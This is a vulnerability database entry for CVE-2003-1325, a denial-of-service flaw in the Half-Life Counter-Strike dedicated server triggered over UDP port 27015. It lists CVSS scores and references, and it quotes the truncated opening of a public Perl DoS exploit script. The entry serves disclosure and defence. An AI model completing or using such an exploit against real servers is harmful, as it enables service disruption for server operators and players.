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Published: 31/12/2003 Updated: 05/09/2008

CVSS v2 Base Score: 5.2 | Impact Score: 6.9 | Exploitability Score: 4.4

VMScore: 525

Vector: AV:A/AC:M/Au:S/C:N/I:N/A:C

The SV_CheckForDuplicateNames function in Valve Software Half-Life CSTRIKE Dedicated Server 1.1.1.0 and previous versions allows remote authenticated users to cause a denial of service (infinite loop and daemon hang) via a certain connection string to UDP port 27015 that represents "absence of player informations," a related issue to CVE-2006-0734.

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valve software half-life cstrike dedicated server

#!/usr/bin/perl # Server must not be running steam /str0ke # Half-Life engine remote DoS exploit # bug found by Firestorm # tested against cstrike 16 Windows build-in server, cstrike 16 linux dedicated server use IO::Socket; die "usage: /csdos <host>" unless $ARGV[0]; $host=$ARGV[0]; if (fork()) { econnect($host); } else { econne ...

NVD-CWE-Other http://aluigi.altervista.org/adv/csdos.txt http://packetstormsecurity.org/0304-exploits/hl-headnut.c https://nvd.nist.gov https://www.exploit-db.com/exploits/1483/

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CVE-2003-1325

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